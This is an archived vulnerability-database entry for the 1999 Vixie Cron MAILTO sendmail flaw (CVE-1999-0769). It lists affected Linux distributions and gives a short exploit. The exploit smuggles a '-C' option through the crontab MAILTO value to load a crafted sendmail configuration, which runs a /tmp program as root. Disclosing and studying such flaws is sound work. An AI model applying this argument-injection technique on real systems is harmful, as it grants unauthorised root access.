exploits , vulnerabilities , articles , Vixie Cron MAILTO Sendmail Vulnerability

Title	Vixie Cron MAILTO Sendmail Vulnerability
Published	1999-08-25-12:00AM
Updated	1999-08-25-12:00AM
Class	Input Validation Error
CVE	CVE-1999-0769 CAN-1999-0872
Remote	No
Local	Yes
Credit	The vulnerability was announced by RedHat Software. The exploit is from Olaf Kirch.
Vulnerable	RedHat Linux 6.0 RedHat Linux 5.2 i386 RedHat Linux 5.1 Standard & Poors ComStock 4.2.4 RedHat Linux 5.0 RedHat Linux 4.2 RedHat Linux 4.1 RedHat Linux 4.0 Paul Vixie Vixie Cron 3.0 pl1 Conectiva Linux 6.0 Conectiva Linux 7.0 Conectiva Linux 8.0 Debian Linux 2.2 Debian Linux 2.2 68k Debian Linux 2.2 alpha Debian Linux 2.2 arm Debian Linux 2.2 powerpc Debian Linux 2.2 sparc Progeny Debian 1.0 Debian Linux 2.2 Debian Linux 2.1 Caldera OpenLinux 2.2
Not Vulnerable	Slackware Linux 4.0
Code	Set the user's crontab to MAILTO=" -C/tmp/myexploitsendmail.cf" * * * * * ls In /tmp/myexploitsendmail.cf you basically modify the local mailer: O DefaultUser=root:root Mlocal, P=/tmp/hackme, F=lsDFMAw5:/|@qXfmnz9, S=10/30, R=20/40, T=DNS/RFC822/X-Unix, A=mail.local -l i.e. remove the S flag, and set DefaultUser.
TXT

Vulnerabilities - newest 10 RSS | More

• 2009-12-17 Drupal Sections Module HTML Injection Vulnerability
• 2009-12-17 Mozilla Firefox and SeaMonkey Theora Video Library Remote Integer Overflow Vulnerability
• 2009-12-17 Mozilla Firefox and Sea Monkey Insecure Protocol Location Bar Spoofing Vulnerability
• 2009-12-17 Mozilla Firefox and Sea Monkey Content Injection Spoofing Vulnerability
• 2009-12-17 Mozilla Firefox/SeaMonkey GeckoActiveXObject Exception Message COM Object Enumeration Vulnerability
• 2009-12-16 ZABBIX Denial Of Service and SQL Injection Vulnerabilities
• 2009-12-16 IBM WebSphere Application Server JNDI Remote Information Disclosure Vulnerability
• 2009-12-16 Horde Application Framework Administration Interface Cross-Site Scripting Vulnerability
• 2009-12-16 Mozilla Firefox and SeaMonkey MFSA 2009-65 through -71 Multiple Vulnerabilities
• 2009-12-16 Merkaartor Insecure Temporary File Creation Vulnerability

• Vulnerabilities
• Exploits
• News
• Articles

Copyright 2007, SecurityDot
Thu, 17 Dec 2009 12:57:16 +0000